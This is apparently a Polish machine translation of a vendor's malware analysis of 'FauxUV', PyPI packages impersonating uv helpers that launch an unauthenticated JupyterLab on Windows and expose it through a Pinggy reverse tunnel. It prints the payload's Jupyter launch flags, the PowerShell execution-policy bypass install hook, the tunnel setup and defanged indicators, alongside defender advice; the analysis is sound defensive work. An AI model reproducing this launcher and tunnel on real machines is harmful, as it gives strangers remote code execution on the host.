FauxUV: Fałszywe pakiety UV PyPI otwierają Jupyter w sieci

FauxUV: fałszywe pomocniki UV PyPI, które otwierają nieautoryzowany serwer Jupyter dla Internetu

TL; DR

Grupa pakietów PyPI zapożyczyła nazwę uv, szybki i niezwykle popularny menedżer pakietów Pythona oparty na Ruście, podszywający się pod pomocników UV. Nie oferują praktycznie żadnej realnej funkcjonalności. Zamiast tego niosą ze sobą ładunek Windows, który… Serwer JupyterLab z wyłączonym uwierzytelnianiem a w późniejszych wersjach publikuje je w publicznym Internecie poprzez odwrotny tunel.

Cała historia zawarta jest w jednym zdaniu: nazwa zaufanego narzędzia jako przynęta i JupyterLab jako silnik zdalnego wykonywania kodu. Serwer Jupyter uruchamia dowolny kod, który wpisujesz do pliku notebook komórka; ta uruchomiona z pustym tokenem i powiązana z każdym interfejsem sieciowym jest otwartym interpretatorem, który może obsługiwać każdy, kto ma dostęp do portu.

Śledzimy klaster jako FauxUV.Oba badane pakiety to moon-uv (0.0.1 – 0.0.16) i my-magic-uv-helper (0.0.1), opublikowane przez tego samego operatora i w czasie analizy dostępne na PyPI.

ekosystemPyPI
Pakietymoon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1)
Platforma docelowaWindows
Podstawowe zachowanieNiezautoryzowany serwer JupyterLab, opublikowany w Internecie przez odwrotny tunel
Nadużycia legalnych narzędziuv, JupyterLab, cloudflared, Pinggy

Przynęta: nazwa, której już ufasz

uv jest jednym z najczęściej instalowanych narzędzi Pythona w ciągu ostatnich dwóch lat, więc „pomocnik dla uv„to pakiet, który programista instaluje bez zastanowienia. FauxUV opiera swoją wiarygodność wyłącznie na tej nazwie. Pakiety te prawdziwy uv instalator od Astral — adresy URL w paczce wskazują na prawdziwych, renomowanych hostów — więc szybki rzut oka nie pokazuje niczego poza wiarygodnymi odnośnikami. Żaden z pakietów nie dodaje uv funkcjonalność; nazwa stanowi całe przebranie.

JupyterLab jako silnik RCE

Centralnym punktem ładunku jest wyrzutnia, która uruchamia JupyterLab po usunięciu wszystkich barier ochronnych:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Każda flaga usuwa ochronę, a w dostarczonym skrypcie są nawet adnotacje (w oryginalnym języku chińskim): pusty token „wyłącza sprawdzanie haseł i tokenów — każdy może się połączyć”. laboratorium jupytera jest legalnym środowiskiem IDE do nauki danych, ale nieebook Komórka wykonuje dowolny kod zgodnie z projektem. Skonfigurowana w ten sposób i powiązana z 0.0.0.0, przestaje być środowiskiem IDE i staje się nieuwierzytelnioną zdalną powłoką na hoście — nie jest wymagany żaden specjalny plik binarny złośliwego oprogramowania, jest to po prostu główne narzędzie skierowane w niewłaściwym kierunku.

Dwa elementy pomocnicze sprawiają, że jest to osiągalne i powtarzalne:

  • Cichy wyzwalacz instalacji. Wczesne wersje uruchamiają program PowerShell z -Ominięcie zasad wykonania prosto z konfiguracja.py on instalacja pipsa, w tle z błędami stłumionymi, więc pypeć wygląda normalnie. Późniejsze wersje przenoszą ten sam prymityw do pip-uv narzędzie wiersza poleceń — i całkowicie usuń automatyczne uruchamianie podczas instalacji.
  • Publiczny tunel odwrotny. Serwer na 0.0.0.0 jest nadal dostępny tylko dla hostów, które mogą kierować do tej maszyny. Dołączony moduł otwiera [Pinggy](https://pinggy.io/) Tunel odwrotny SSH, który przekierowuje lokalny port Jupyter na adres publiczny, usuwając to ograniczenie. Dostarczony skrypt zawiera również – zakomentowaną – alternatywną ścieżkę wykorzystującą Cloudflare. rozbłysk chmur oraz netsh port-proxy do adresu IP Linode, dokumentując ten sam cel za pomocą innej infrastruktury.

Wszystko to składa się na całość: wystarczy zainstalować pakiet, a host z systemem Windows uruchomi niehasłowe narzędzie JupyterLab i opublikuje je w otwartym Internecie.

Jak ewoluował FauxUV

Wersje FauxUV były wysyłane jedna po drugiej, a punkt aktywacji ładunku przesuwał się wzdłuż nich — przypominając, że jedna oznaczona flagą wersja rzadko opowiada całą historię linii produktów.

STAGE wersje Cyngiel Co dodaje
Instalacja haka moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py przy instalacji pip instalacja uv + prefiks PATH
Środowisko wykonawcze CLI moon-uv 0.0.5-0.0.13 pip-uv komenda program uruchamiający JupyterLab bez hasła
Tunel moon-uv 0.0.14-0.0.16 pip-uv komenda aktywny tunel odwrotny Piggy

Warto zauważyć, że automatyczne uruchamianie w czasie instalacji było usunięte w późniejszych, bardziej wydajnych wersjach — czyli skanerze, który był uruchamiany tylko w cyklu życia hooks oceniłbym nowsze wydania jako mniej ryzykowne, dokładnie odwrotnie.

Wskaźniki kompromisu

Potwierdzono odczytując źródło pakietu; punkty końcowe oznaczone skomentował Są obecne w plikach, ale nie są wykonywane przez analizowaną wersję. Wskaźniki sieciowe są wyłączone.

Typ Wskaźnik
Zainstaluj polecenie powershell -ExecutionPolicy Bypass pobieranie oryginalnego instalatora UV w czasie instalacji pip
Flagi JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Tunel odwrotny (aktywny) free[.]pinggy[.]io:443 przekierowywanie lokalne 127.0.0.1:8888
Host tunelu (skomentowano) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (skomentowano) 45[.]79[.]134[.]161 (Linode) przez netsh port-proxy
Uporczywość dodaje na początku %USERPROFILE%\.local\bin do ścieżki użytkownika

Sygnały behawioralne, na które warto zwrócić uwagę, niezależnie od tych konkretnych ciągów: instalacja pipsa który rodzi powershell - obejście zasad wykonywania; każdy jowisz uruchomienie łączenia token=”” w –ip=0.0.0.0; i wychodzącego SSH do *.pinggy.io z komputera dewelopera lub maszyny CI.

Obserwowane zachowanie i pochodzenie

Oba pakiety mają wspólnego autora i metodę: nazwę zaufanego narzędzia, bramkowanie tylko dla systemu Windows, blokowanie wykonywania w tle z błędami oraz poleganie na renomowanych narzędziach, dzięki czemu pobieżne sprawdzenie pozwala na znalezienie tylko renomowanych adresów URL. Źródło zawiera komentarze w języku chińskim, które jasno opisują flagi istotne dla bezpieczeństwa; zgłaszamy je jako obserwowalne stwierdzenia w pliku, a nie jako twierdzenie dotyczące motywu. zezwól_na_pochodzenie wartość i colab.bat Nazwa pliku nawiązuje do nieformalnych przepływów pracy „udostępniaj moje lokalne środowisko wykonawcze”, które obowiązują w Google Colab. Niezależnie od pochodzenia, spakowany wynik jest taki sam.

Wpływ i wskazówki dla obrońców

Kto jest narażony na promieniowanie FauxUV. Deweloperzy systemu Windows i osoby zarządzające CI, instalacja pipsa jeden z tych pakietów. JupyterLab bez hasła na 0.0.0.0 Zdalne wykonanie kodu jest możliwe dla każdego, kto ma dostęp do portu; tunel eliminuje limit „kto może do niego dotrzeć”. Serwer działa jako użytkownik instalujący, dziedzicząc jego pliki, tokeny i dane uwierzytelniające w chmurze.

Dlaczego łatwo to przegapić. Każdy ciąg sieciowy wskazuje na renomowanego hosta — Astral, JupyterLab, rozbłysk chmur, Pinggy, Colab. Nie ma binarnego pliku malware do hashowania ani zaciemnionego blobu do zdekodowania. Zarówno skanowanie oparte na reputacji, jak i sygnaturach nie uwzględnia tego zjawiska, dlatego pytanie behawioralne — Co powoduje instalacja tego pakietu na komputerze? — jest tym, który ją łapie.

Poradnictwo:

  • Traktuj każdy czas instalacji powershell - obejście zasad wykonywania jako sygnał przerywający kompilację, niezależnie od pobieranego adresu URL.
  • Alarm włączony jowisz uruchomiony z pustym tokenem i –ip=0.0.0.0; taka kombinacja nigdy nie powinna pojawić się na stacji roboczej ani programie uruchamiającym.
  • Monitoruj dostawców wychodzącego SSH do tunelu (*.pinggy.io, *.trycloudflare.com) ze środowisk deweloperskich i CI.
  • Zainstalować uv z [oficjalnego źródła](https://docs.astral.sh/uv/) i podchodź sceptycznie do pakietów pomocniczych innych firm, które zawierają narzędzie, którego instalacja jest banalnie prosta.
  • Przypnij i ponownie sprawdź zależności podczas aktualizacji — linia pakietów może zyskiwać nowe możliwości w każdej kolejnej wersji.
sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz swoje oprogramowanie i dostarczanie

z pakietem produktów Xygeni